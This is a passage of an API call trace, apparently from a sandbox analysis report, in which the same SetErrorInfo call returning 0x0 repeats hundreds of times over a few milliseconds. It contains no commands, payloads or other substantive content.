0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.418] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.422] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.423] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.425] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 